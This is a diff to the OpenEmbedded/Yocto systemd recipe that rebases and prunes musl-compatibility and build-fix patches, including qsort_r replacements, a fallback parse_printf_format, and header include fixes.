-diff --git a/src/login/logind-polkit.h b/src/login/logind-polkit.h
-new file mode 100644
-index 0000000000..476c077a8a
---- /dev/null
-+++ b/src/login/logind-polkit.h
-@@ -0,0 +1,10 @@
-+/* SPDX-License-Identifier: LGPL-2.1+ */
-+#pragma once
-+
-+#include "sd-bus.h"
-+
-+#include "bus-object.h"
-+#include "logind.h"
-+
-+int check_polkit_chvt(sd_bus_message *message, Manager *manager, sd_bus_error *error);
-+
-diff --git a/src/login/logind-seat-dbus.c b/src/login/logind-seat-dbus.c
-index a945132284..f22e9e2734 100644
---- a/src/login/logind-seat-dbus.c
-+++ b/src/login/logind-seat-dbus.c
-@@ -9,6 +9,7 @@
- #include "bus-polkit.h"
- #include "bus-util.h"
- #include "logind-dbus.h"
-+#include "logind-polkit.h"
- #include "logind-seat-dbus.h"
- #include "logind-seat.h"
- #include "logind-session-dbus.h"
-@@ -179,15 +180,7 @@ static int method_activate_session(sd_bus_message *message, void *userdata, sd_b
- if (session->seat != s)
- return sd_bus_error_setf(error, BUS_ERROR_SESSION_NOT_ON_SEAT, "Session %s not on seat %s", name, s->id);
-
-- r = bus_verify_polkit_async(
-- message,
-- CAP_SYS_ADMIN,
-- "org.freedesktop.login1.chvt",
-- NULL,
-- false,
-- UID_INVALID,
-- &s->manager->polkit_registry,
-- error);
-+ r = check_polkit_chvt(message, s->manager, error);
- if (r < 0)
- return r;
- if (r == 0)
-@@ -215,15 +208,7 @@ static int method_switch_to(sd_bus_message *message, void *userdata, sd_bus_erro
- if (to <= 0)
- return sd_bus_error_setf(error, SD_BUS_ERROR_INVALID_ARGS, "Invalid virtual terminal");
-
-- r = bus_verify_polkit_async(
-- message,
-- CAP_SYS_ADMIN,
-- "org.freedesktop.login1.chvt",
-- NULL,
-- false,
-- UID_INVALID,
-- &s->manager->polkit_registry,
-- error);
-+ r = check_polkit_chvt(message, s->manager, error);
- if (r < 0)
- return r;
- if (r == 0)
-@@ -243,15 +228,7 @@ static int method_switch_to_next(sd_bus_message *message, void *userdata, sd_bus
- assert(message);
- assert(s);
-
-- r = bus_verify_polkit_async(
-- message,
-- CAP_SYS_ADMIN,
-- "org.freedesktop.login1.chvt",
-- NULL,
-- false,
-- UID_INVALID,
-- &s->manager->polkit_registry,
-- error);
-+ r = check_polkit_chvt(message, s->manager, error);
- if (r < 0)
- return r;
- if (r == 0)
-@@ -271,15 +248,7 @@ static int method_switch_to_previous(sd_bus_message *message, void *userdata, sd
- assert(message);
- assert(s);
-
-- r = bus_verify_polkit_async(
-- message,
-- CAP_SYS_ADMIN,
-- "org.freedesktop.login1.chvt",
-- NULL,
-- false,
-- UID_INVALID,
-- &s->manager->polkit_registry,
-- error);
-+ r = check_polkit_chvt(message, s->manager, error);
- if (r < 0)
- return r;
- if (r == 0)
-diff --git a/src/login/logind-session-dbus.c b/src/login/logind-session-dbus.c
-index ccc5ac8df2..57c8a4e900 100644
---- a/src/login/logind-session-dbus.c
-+++ b/src/login/logind-session-dbus.c
-@@ -11,6 +11,7 @@
- #include "fd-util.h"
- #include "logind-brightness.h"
- #include "logind-dbus.h"
-+#include "logind-polkit.h"
- #include "logind-seat-dbus.h"
- #include "logind-session-dbus.h"
- #include "logind-session-device.h"
-@@ -192,15 +193,7 @@ int bus_session_method_activate(sd_bus_message *message, void *userdata, sd_bus_
- assert(message);
- assert(s);
-
-- r = bus_verify_polkit_async(
-- message,
-- CAP_SYS_ADMIN,
-- "org.freedesktop.login1.chvt",
-- NULL,
-- false,
-- UID_INVALID,
-- &s->manager->polkit_registry,
-- error);
-+ r = check_polkit_chvt(message, s->manager, error);
- if (r < 0)
- return r;
- if (r == 0)
-diff --git a/src/login/meson.build b/src/login/meson.build
-index 0a7d3d5440..7e46be2add 100644
---- a/src/login/meson.build
-+++ b/src/login/meson.build
-@@ -26,6 +26,7 @@ liblogind_core_sources = files('''
- logind-device.h
- logind-inhibit.c
- logind-inhibit.h
-+ logind-polkit.c
- logind-seat-dbus.c
- logind-seat-dbus.h
- logind-seat.c
---
-2.28.0
-
diff --git a/meta/recipes-core/systemd/systemd/0001-systemd.pc.in-use-ROOTPREFIX-without-suffixed-slash.patch b/meta/recipes-core/systemd/systemd/0001-systemd.pc.in-use-ROOTPREFIX-without-suffixed-slash.patch
index 622a4108bb..752824688f 100644
--- a/meta/recipes-core/systemd/systemd/0001-systemd.pc.in-use-ROOTPREFIX-without-suffixed-slash.patch
+++ b/meta/recipes-core/systemd/systemd/0001-systemd.pc.in-use-ROOTPREFIX-without-suffixed-slash.patch
@@ -12,9 +12,11 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
src/core/systemd.pc.in | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
+diff --git a/src/core/systemd.pc.in b/src/core/systemd.pc.in
+index b5cc8f9..21dbf30 100644
--- a/src/core/systemd.pc.in
+++ b/src/core/systemd.pc.in
-@@ -65,16 +65,16 @@ systemdshutdowndir=${systemd_shutdown_di
+@@ -65,16 +65,16 @@ systemdshutdowndir=${systemd_shutdown_dir}
tmpfiles_dir=${prefix}/lib/tmpfiles.d
tmpfilesdir=${tmpfiles_dir}
@@ -35,3 +37,6 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
modulesloaddir=${modules_load_dir}
catalog_dir=${prefix}/lib/systemd/catalog
+--
+2.25.1
+
diff --git a/meta/recipes-core/systemd/systemd/0001-test-parse-argument-Include-signal.h.patch b/meta/recipes-core/systemd/systemd/0001-test-parse-argument-Include-signal.h.patch
new file mode 100644
index 0000000000..3af1daac9c
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0001-test-parse-argument-Include-signal.h.patch
@@ -0,0 +1,29 @@
+From 1adde6721ead386ccee6efe48038d6944b96319a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 24 May 2021 18:26:27 -0700
+Subject: [PATCH] test-parse-argument: Include signal.h
+
+Fixes
+src/test/test-parse-argument.c:49:29: error: use of undeclared identifier 'SIGABRT'
+
+Upstream-Status: Submitted [https://github.com/systemd/systemd/pull/19718]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/test/test-parse-argument.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/test/test-parse-argument.c b/src/test/test-parse-argument.c
+index 4081a9f25a..820d69f092 100644
+--- a/src/test/test-parse-argument.c
++++ b/src/test/test-parse-argument.c
+@@ -3,6 +3,7 @@
+ #include "parse-argument.h"
+ #include "stdio-util.h"
+ #include "tests.h"
++#include <signal.h>
+
+ static void test_parse_json_argument(void) {
+ log_info("/* %s */", __func__);
+--
+2.31.1
+
diff --git a/meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch b/meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch
index 30fe9a14df..d03a1d9e76 100644
--- a/meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch
+++ b/meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch
@@ -1,4 +1,4 @@
-From 3eb12a6ba0bce149717eaabeb1505d379b3d705a Mon Sep 17 00:00:00 2001
+From 5d730902f47498a2866b46875352f6810a01d67c Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Mon, 25 Feb 2019 13:41:41 +0800
Subject: [PATCH] don't use glibc-specific qsort_r
@@ -10,22 +10,23 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
[Rebased for v242]
Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
+[Rebased for v247]
+Signed-off-by: Luca Boccassi <luca.boccassi@microsoft.com>
---
- src/basic/sort-util.h | 14 ------------
- src/libsystemd/sd-hwdb/hwdb-util.c | 19 +++++++++++-----
- src/shared/format-table.c | 36 ++++++++++++++++++++----------
+ src/basic/sort-util.h | 14 --------------
+ src/shared/format-table.c | 36 ++++++++++++++++++++++++------------
+ src/shared/hwdb-util.c | 19 ++++++++++++++-----
3 files changed, 38 insertions(+), 31 deletions(-)
-Index: systemd-stable/src/basic/sort-util.h
-===================================================================
---- systemd-stable.orig/src/basic/sort-util.h
-+++ systemd-stable/src/basic/sort-util.h
-@@ -54,17 +54,3 @@ static inline void _qsort_safe(void *bas
- int (*_func_)(const typeof(p[0])*, const typeof(p[0])*) = func; \
+diff --git a/src/basic/sort-util.h b/src/basic/sort-util.h
+index 49586a4a24..d92a5ab0ed 100644
+--- a/src/basic/sort-util.h
++++ b/src/basic/sort-util.h
+@@ -55,18 +55,4 @@ static inline void _qsort_safe(void *base, size_t nmemb, size_t size, __compar_f
_qsort_safe((p), (n), sizeof((p)[0]), (__compar_fn_t) _func_); \
})
--
+
-static inline void qsort_r_safe(void *base, size_t nmemb, size_t size, __compar_d_fn_t compar, void *userdata) {
- if (nmemb <= 1)
- return;
@@ -39,55 +40,13 @@ Index: systemd-stable/src/basic/sort-util.h
- int (*_func_)(const typeof(p[0])*, const typeof(p[0])*, typeof(userdata)) = func; \
- qsort_r_safe((p), (n), sizeof((p)[0]), (__compar_d_fn_t) _func_, userdata); \
- })
-Index: systemd-stable/src/libsystemd/sd-hwdb/hwdb-util.c
-===================================================================
---- systemd-stable.orig/src/libsystemd/sd-hwdb/hwdb-util.c
-+++ systemd-stable/src/libsystemd/sd-hwdb/hwdb-util.c
-@@ -128,9 +128,13 @@ static void trie_free(struct trie *trie)
-
- DEFINE_TRIVIAL_CLEANUP_FUNC(struct trie*, trie_free);
-
--static int trie_values_cmp(const struct trie_value_entry *a, const struct trie_value_entry *b, struct trie *trie) {
-- return strcmp(trie->strings->buf + a->key_off,
-- trie->strings->buf + b->key_off);
-+static struct trie *trie_node_add_value_trie;
-+static int trie_values_cmp(const void *v1, const void *v2) {
-+ const struct trie_value_entry *a = v1;
-+ const struct trie_value_entry *b = v2;
-+
-+ return strcmp(trie_node_add_value_trie->strings->buf + a->key_off,
-+ trie_node_add_value_trie->strings->buf + b->key_off);
- }
-
- static int trie_node_add_value(struct trie *trie, struct trie_node *node,
-@@ -158,7 +162,10 @@ static int trie_node_add_value(struct tr
- .value_off = v,
- };
-
-- val = typesafe_bsearch_r(&search, node->values, node->values_count, trie_values_cmp, trie);
-+ trie_node_add_value_trie = trie;
-+ val = bsearch(&search, node->values, node->values_count, sizeof(struct trie_value_entry), trie_values_cmp);
-+ trie_node_add_value_trie = NULL;
-+
- if (val) {
- /* At this point we have 2 identical properties on the same match-string.
- * Since we process files in order, we just replace the previous value. */
-@@ -184,7 +191,9 @@ static int trie_node_add_value(struct tr
- .line_number = line_number,
- };
- node->values_count++;
-- typesafe_qsort_r(node->values, node->values_count, trie_values_cmp, trie);
-+ trie_node_add_value_trie = trie;
-+ qsort(node->values, node->values_count, sizeof(struct trie_value_entry), trie_values_cmp);
-+ trie_node_add_value_trie = NULL;
- return 0;
- }
-
-Index: systemd-stable/src/shared/format-table.c
-===================================================================
---- systemd-stable.orig/src/shared/format-table.c
-+++ systemd-stable/src/shared/format-table.c
-@@ -1246,31 +1246,33 @@ static int cell_data_compare(TableData *
+-
+ int cmp_int(const int *a, const int *b);
+diff --git a/src/shared/format-table.c b/src/shared/format-table.c
+index 4c4e4593d8..17b329f315 100644
+--- a/src/shared/format-table.c
++++ b/src/shared/format-table.c
+@@ -1282,30 +1282,32 @@ static int cell_data_compare(TableData *a, size_t index_a, TableData *b, size_t
return CMP(index_a, index_b);
}
@@ -95,7 +54,6 @@ Index: systemd-stable/src/shared/format-table.c
+static Table *user_table;
+static int table_data_compare(const void *x, const void *y) {
+ const size_t *a = x, *b=y;
- size_t i;
int r;
- assert(t);
@@ -115,8 +73,8 @@ Index: systemd-stable/src/shared/format-table.c
return 1;
/* Order other lines by the sorting map */
-- for (i = 0; i < t->n_sort_map; i++) {
-+ for (i = 0; i < user_table->n_sort_map; i++) {
+- for (size_t i = 0; i < t->n_sort_map; i++) {
++ for (size_t i = 0; i < user_table->n_sort_map; i++) {
TableData *d, *dd;
- d = t->data[*a + t->sort_map[i]];
@@ -131,8 +89,8 @@ Index: systemd-stable/src/shared/format-table.c
}
/* Order identical lines by the order there were originally added in */
-@@ -1798,7 +1800,12 @@ int table_print(Table *t, FILE *f) {
- for (i = 0; i < n_rows; i++)
+@@ -1944,7 +1946,12 @@ int table_print(Table *t, FILE *f) {
+ for (size_t i = 0; i < n_rows; i++)
sorted[i] = i * t->n_columns;
- typesafe_qsort_r(sorted, n_rows, table_data_compare, t);
@@ -145,8 +103,8 @@ Index: systemd-stable/src/shared/format-table.c
}
if (t->display_map)
-@@ -2375,7 +2382,12 @@ int table_to_json(Table *t, JsonVariant
- for (i = 0; i < n_rows; i++)
+@@ -2572,7 +2579,12 @@ int table_to_json(Table *t, JsonVariant **ret) {
+ for (size_t i = 0; i < n_rows; i++)
sorted[i] = i * t->n_columns;
- typesafe_qsort_r(sorted, n_rows, table_data_compare, t);
@@ -159,3 +117,47 @@ Index: systemd-stable/src/shared/format-table.c
}
if (t->display_map)
+diff --git a/src/shared/hwdb-util.c b/src/shared/hwdb-util.c
+index d7626aed95..2003fac7c3 100644
+--- a/src/shared/hwdb-util.c
++++ b/src/shared/hwdb-util.c
+@@ -127,9 +127,13 @@ static struct trie* trie_free(struct trie *trie) {
+
+ DEFINE_TRIVIAL_CLEANUP_FUNC(struct trie*, trie_free);
+
+-static int trie_values_cmp(const struct trie_value_entry *a, const struct trie_value_entry *b, struct trie *trie) {
+- return strcmp(trie->strings->buf + a->key_off,
+- trie->strings->buf + b->key_off);
++static struct trie *trie_node_add_value_trie;
++static int trie_values_cmp(const void *v1, const void *v2) {
++ const struct trie_value_entry *a = v1;
++ const struct trie_value_entry *b = v2;
++
++ return strcmp(trie_node_add_value_trie->strings->buf + a->key_off,
++ trie_node_add_value_trie->strings->buf + b->key_off);
+ }
+
+ static int trie_node_add_value(struct trie *trie, struct trie_node *node,
+@@ -157,7 +161,10 @@ static int trie_node_add_value(struct trie *trie, struct trie_node *node,
+ .value_off = v,
+ };
+
+- val = typesafe_bsearch_r(&search, node->values, node->values_count, trie_values_cmp, trie);
++ trie_node_add_value_trie = trie;
++ val = bsearch(&search, node->values, node->values_count, sizeof(struct trie_value_entry), trie_values_cmp);
++ trie_node_add_value_trie = NULL;
++
+ if (val) {
+ /* At this point we have 2 identical properties on the same match-string.
+ * Since we process files in order, we just replace the previous value. */
+@@ -183,7 +190,9 @@ static int trie_node_add_value(struct trie *trie, struct trie_node *node,
+ .line_number = line_number,
+ };
+ node->values_count++;
+- typesafe_qsort_r(node->values, node->values_count, trie_values_cmp, trie);
++ trie_node_add_value_trie = trie;
++ qsort(node->values, node->values_count, sizeof(struct trie_value_entry), trie_values_cmp);
++ trie_node_add_value_trie = NULL;
+ return 0;
+ }
+
diff --git a/meta/recipes-core/systemd/systemd/0002-src-login-brightness.c-include-sys-wait.h.patch b/meta/recipes-core/systemd/systemd/0002-src-login-brightness.c-include-sys-wait.h.patch
deleted file mode 100644
index ba7424d876..0000000000
--- a/meta/recipes-core/systemd/systemd/0002-src-login-brightness.c-include-sys-wait.h.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From 106922335ec502bcb4451c54a89be49f88fa54de Mon Sep 17 00:00:00 2001
-From: Scott Murray <scott.murray@konsulko.com>
-Date: Fri, 13 Sep 2019 19:26:27 -0400
-Subject: [PATCH] Include sys/wait.h
-
-Fixes:
-src/login/logind-brightness.c:158:85: error: 'WEXITED' undeclared (first use in this function); did you mean 'WIFEXITED'?
- 158 | r = sd_event_add_child(w->manager->event, &w->child_event_source, w->child, WEXITED, on_brightness_writer_exit, w);
- | ^~~~~~~
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/login/logind-brightness.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/login/logind-brightness.c b/src/login/logind-brightness.c
-index 3f4b65e1fdf1..5af7e3d5ce3f 100644
---- a/src/login/logind-brightness.c
-+++ b/src/login/logind-brightness.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <sys/wait.h>
- #include "bus-util.h"
- #include "device-util.h"
- #include "hash-funcs.h"
diff --git a/meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch b/meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch
index 1404895143..eca52d0bda 100644
--- a/meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch
+++ b/meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch
@@ -1,4 +1,4 @@
-From 233de872b9b033ec842c2135152d2e006ac44c16 Mon Sep 17 00:00:00 2001
+From 3b42a888685aee1776a12cff84a5fe0063378483 Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Mon, 25 Feb 2019 13:55:12 +0800
Subject: [PATCH] missing_type.h: add __compare_fn_t and comparison_fn_t
@@ -15,14 +15,14 @@ Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
---
- src/basic/missing_type.h | 9 +++++++++
- src/basic/sort-util.h | 1 +
- src/core/kmod-setup.c | 1 +
- src/journal/catalog.c | 1 +
+ src/basic/missing_type.h | 9 +++++++++
+ src/basic/sort-util.h | 1 +
+ src/core/kmod-setup.c | 1 +
+ src/libsystemd/sd-journal/catalog.c | 1 +
4 files changed, 12 insertions(+)
diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
-index bf8a6caa1b46..c487e65e7bde 100644
+index f6233090a9..aeaf6ad5ec 100644
--- a/src/basic/missing_type.h
+++ b/src/basic/missing_type.h
@@ -10,3 +10,12 @@
@@ -39,7 +39,7 @@ index bf8a6caa1b46..c487e65e7bde 100644
+typedef int (*__compar_fn_t)(const void *, const void *);
+#endif
diff --git a/src/basic/sort-util.h b/src/basic/sort-util.h
-index 27d68b341cf3..307ea4ac0e8e 100644
+index d92a5ab0ed..a63867c716 100644
--- a/src/basic/sort-util.h
+++ b/src/basic/sort-util.h
@@ -4,6 +4,7 @@
@@ -51,7 +51,7 @@ index 27d68b341cf3..307ea4ac0e8e 100644
void *xbsearch_r(const void *key, const void *base, size_t nmemb, size_t size,
__compar_d_fn_t compar, void *arg);
diff --git a/src/core/kmod-setup.c b/src/core/kmod-setup.c
-index 128674327362..09ccd613e32c 100644
+index 8a7f82812a..a56f12f47f 100644
--- a/src/core/kmod-setup.c
+++ b/src/core/kmod-setup.c
@@ -10,6 +10,7 @@
@@ -62,10 +62,10 @@ index 128674327362..09ccd613e32c 100644
#if HAVE_KMOD
#include "module-util.h"
-diff --git a/src/journal/catalog.c b/src/journal/catalog.c
-index 70b2c8b46c4e..d574a64586f1 100644
---- a/src/journal/catalog.c
-+++ b/src/journal/catalog.c
+diff --git a/src/libsystemd/sd-journal/catalog.c b/src/libsystemd/sd-journal/catalog.c
+index ce8d47ccc3..00845f9776 100644
+--- a/src/libsystemd/sd-journal/catalog.c
++++ b/src/libsystemd/sd-journal/catalog.c
@@ -28,6 +28,7 @@
#include "string-util.h"
#include "strv.h"
diff --git a/meta/recipes-core/systemd/systemd/0003-src-basic-copy.c-include-signal.h.patch b/meta/recipes-core/systemd/systemd/0003-src-basic-copy.c-include-signal.h.patch
deleted file mode 100644
index 538a99c7d7..0000000000
--- a/meta/recipes-core/systemd/systemd/0003-src-basic-copy.c-include-signal.h.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 082d2eb2a65525890a913723764e67a36ee75384 Mon Sep 17 00:00:00 2001
-From: Scott Murray <scott.murray@konsulko.com>
-Date: Fri, 13 Sep 2019 19:26:27 -0400
-Subject: [PATCH] Include signal.h
-
-Fixes several signal set related errors:
-src/basic/copy.c:92:19: error: implicit declaration of function 'sigemptyset' [-Werror=implicit-function-declaration]
-src/basic/copy.c:93:19: error: implicit declaration of function 'sigaddset' [-Werror=implicit-function-declaration]
-src/basic/copy.c:93:34: error: 'SIGINT' undeclared (first use in this function)
-src/basic/copy.c:95:13: error: implicit declaration of function 'sigtimedwait' [-Werror=implicit-function-declaration]
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/basic/copy.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/basic/copy.c b/src/basic/copy.c
-index 9028868f696d..5168586fa522 100644
---- a/src/basic/copy.c
-+++ b/src/basic/copy.c
-@@ -8,6 +8,7 @@
- #include <sys/sendfile.h>
- #include <sys/xattr.h>
- #include <unistd.h>
-+#include <signal.h>
-
- #include "alloc-util.h"
- #include "btrfs-util.h"
diff --git a/meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch b/meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch
index e65c543614..40ee43b155 100644
--- a/meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch
+++ b/meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch
@@ -1,6 +1,6 @@
-From 8af168cefca01f8f2da336f1c82620c284dc74f2 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 14:04:21 +0800
+From 3e0df2c22bfd37bc62bf09a01ec498e40d3599de Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sat, 22 May 2021 20:26:24 +0200
Subject: [PATCH] add fallback parse_printf_format implementation
Upstream-Status: Inappropriate [musl specific]
@@ -12,21 +12,21 @@ Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
Signed-off-by: Scott Murray <scott.murray@konsulko.com>
---
- meson.build | 1 +
- src/basic/meson.build | 5 +
- src/basic/parse-printf-format.c | 273 ++++++++++++++++++++++++++++++++
- src/basic/parse-printf-format.h | 57 +++++++
- src/basic/stdio-util.h | 2 +-
- src/journal/journal-send.c | 2 +-
+ meson.build | 1 +
+ src/basic/meson.build | 5 +
+ src/basic/parse-printf-format.c | 273 +++++++++++++++++++++++
+ src/basic/parse-printf-format.h | 57 +++++
+ src/basic/stdio-util.h | 2 +-
+ src/libsystemd/sd-journal/journal-send.c | 2 +-
6 files changed, 338 insertions(+), 2 deletions(-)
create mode 100644 src/basic/parse-printf-format.c
create mode 100644 src/basic/parse-printf-format.h
-Index: systemd-stable/meson.build
-===================================================================
---- systemd-stable.orig/meson.build
-+++ systemd-stable/meson.build
-@@ -638,6 +638,7 @@ endif
+diff --git a/meson.build b/meson.build
+index 5bdfd9753d..3421da3a4d 100644
+--- a/meson.build
++++ b/meson.build
+@@ -656,6 +656,7 @@ endif
foreach header : ['crypt.h',
'linux/memfd.h',
'linux/vm_sockets.h',
@@ -34,26 +34,27 @@ Index: systemd-stable/meson.build
'sys/auxv.h',
'valgrind/memcheck.h',
'valgrind/valgrind.h',
-Index: systemd-stable/src/basic/meson.build
-===================================================================
---- systemd-stable.orig/src/basic/meson.build
-+++ systemd-stable/src/basic/meson.build
-@@ -317,6 +317,11 @@ foreach item : [['af', af_list_txt,
- endforeach
+diff --git a/src/basic/meson.build b/src/basic/meson.build
+index 452b965db3..4e64d883dc 100644
+--- a/src/basic/meson.build
++++ b/src/basic/meson.build
+@@ -321,6 +321,11 @@ endforeach
basic_sources += generated_gperf_headers
-+
+
+if conf.get('HAVE_PRINTF_H') != 1
+ basic_sources += [files('parse-printf-format.c')]
+endif
+
- basic_gcrypt_sources = files(
- 'gcrypt-util.c',
- 'gcrypt-util.h')
-Index: systemd-stable/src/basic/parse-printf-format.c
-===================================================================
++
+ ############################################################
+
+ arch_list = [
+diff --git a/src/basic/parse-printf-format.c b/src/basic/parse-printf-format.c
+new file mode 100644
+index 0000000000..49437e5445
--- /dev/null
-+++ systemd-stable/src/basic/parse-printf-format.c
++++ b/src/basic/parse-printf-format.c
@@ -0,0 +1,273 @@
+/*-*- Mode: C; c-basic-offset: 8; indent-tabs-mode: nil -*-*/
+
@@ -328,10 +329,11 @@ Index: systemd-stable/src/basic/parse-printf-format.c
+
+ return last;
+}
-Index: systemd-stable/src/basic/parse-printf-format.h
-===================================================================
+diff --git a/src/basic/parse-printf-format.h b/src/basic/parse-printf-format.h
+new file mode 100644
+index 0000000000..47be7522d7
--- /dev/null
-+++ systemd-stable/src/basic/parse-printf-format.h
++++ b/src/basic/parse-printf-format.h
@@ -0,0 +1,57 @@
+/*-*- Mode: C; c-basic-offset: 8; indent-tabs-mode: nil -*-*/
+
@@ -390,12 +392,12 @@ Index: systemd-stable/src/basic/parse-printf-format.h
+size_t parse_printf_format(const char *fmt, size_t n, int *types);
+
+#endif /* HAVE_PRINTF_H */
-Index: systemd-stable/src/basic/stdio-util.h
-===================================================================
---- systemd-stable.orig/src/basic/stdio-util.h
-+++ systemd-stable/src/basic/stdio-util.h
+diff --git a/src/basic/stdio-util.h b/src/basic/stdio-util.h
+index 6dc1e72312..cea76b36cf 100644
+--- a/src/basic/stdio-util.h
++++ b/src/basic/stdio-util.h
@@ -1,13 +1,13 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
#pragma once
-#include <printf.h>
@@ -409,10 +411,10 @@ Index: systemd-stable/src/basic/stdio-util.h
#define snprintf_ok(buf, len, fmt, ...) \
((size_t) snprintf(buf, len, fmt, __VA_ARGS__) < (len))
-Index: systemd-stable/src/journal/journal-send.c
-===================================================================
---- systemd-stable.orig/src/journal/journal-send.c
-+++ systemd-stable/src/journal/journal-send.c
+diff --git a/src/libsystemd/sd-journal/journal-send.c b/src/libsystemd/sd-journal/journal-send.c
+index fd3fd7ef9c..e8e6ad555b 100644
+--- a/src/libsystemd/sd-journal/journal-send.c
++++ b/src/libsystemd/sd-journal/journal-send.c
@@ -2,7 +2,6 @@
#include <errno.h>
diff --git a/meta/recipes-core/systemd/systemd/0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch b/meta/recipes-core/systemd/systemd/0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch
deleted file mode 100644
index d394444c1c..0000000000
--- a/meta/recipes-core/systemd/systemd/0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From dbe8b3ee45580defeefcac929b897c5437ffc50b Mon Sep 17 00:00:00 2001
-From: Scott Murray <scott.murray@konsulko.com>
-Date: Fri, 13 Sep 2019 19:26:27 -0400
-Subject: [PATCH] Handle __cpu_mask usage
-
-Fixes errors:
-
-src/test/test-cpu-set-util.c:18:54: error: '__cpu_mask' undeclared (first use in this function)
-src/test/test-sizeof.c:73:14: error: '__cpu_mask' undeclared (first use in this function)
-
-__cpu_mask is an internal type of glibc's cpu_set implementation, not
-part of the POSIX definition, which is problematic when building with
-musl, which does not define a matching type. From inspection of musl's
-sched.h, however, it is clear that the corresponding type would be
-unsigned long, which does match glibc's actual __CPU_MASK_TYPE. So,
-add a typedef to cpu-set-util.h defining __cpu_mask appropriately.
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/shared/cpu-set-util.h | 2 ++
- src/test/test-sizeof.c | 2 +-
- 2 files changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/src/shared/cpu-set-util.h b/src/shared/cpu-set-util.h
-index 27812dfd5923..0ab40731ea93 100644
---- a/src/shared/cpu-set-util.h
-+++ b/src/shared/cpu-set-util.h
-@@ -6,6 +6,8 @@
- #include "macro.h"
- #include "missing_syscall.h"
-
-+typedef unsigned long __cpu_mask;
-+
- /* This wraps the libc interface with a variable to keep the allocated size. */
- typedef struct CPUSet {
- cpu_set_t *set;
-diff --git a/src/test/test-sizeof.c b/src/test/test-sizeof.c
-index c65062d2562c..8b6eefa9cdae 100644
---- a/src/test/test-sizeof.c
-+++ b/src/test/test-sizeof.c
-@@ -1,6 +1,5 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
--#include <sched.h>
- #include <stdio.h>
- #include <string.h>
- #include <sys/types.h>
-@@ -10,6 +9,7 @@
- #include <float.h>
-
- #include "time-util.h"
-+#include "cpu-set-util.h"
-
- /* Print information about various types. Useful when diagnosing
- * gcc diagnostics on an unfamiliar architecture. */
diff --git a/meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch b/meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch
index 8e7a2fb6e4..efdd43708b 100644
--- a/meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch
+++ b/meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch
@@ -1,4 +1,4 @@
-From 7e771de87cf728a8678f1f28f391bba3589e2496 Mon Sep 17 00:00:00 2001
+From cef23a651ea200e30e1e6ed2a2564505e3a42d46 Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Mon, 25 Feb 2019 14:18:21 +0800
Subject: [PATCH] src/basic/missing.h: check for missing strndupa
@@ -15,6 +15,8 @@ Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
Signed-off-by: Scott Murray <scott.murray@konsulko.com>
Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
[rebased for systemd 244]
+[Rebased for v247]
+Signed-off-by: Luca Boccassi <luca.boccassi@microsoft.com>
---
meson.build | 1 +
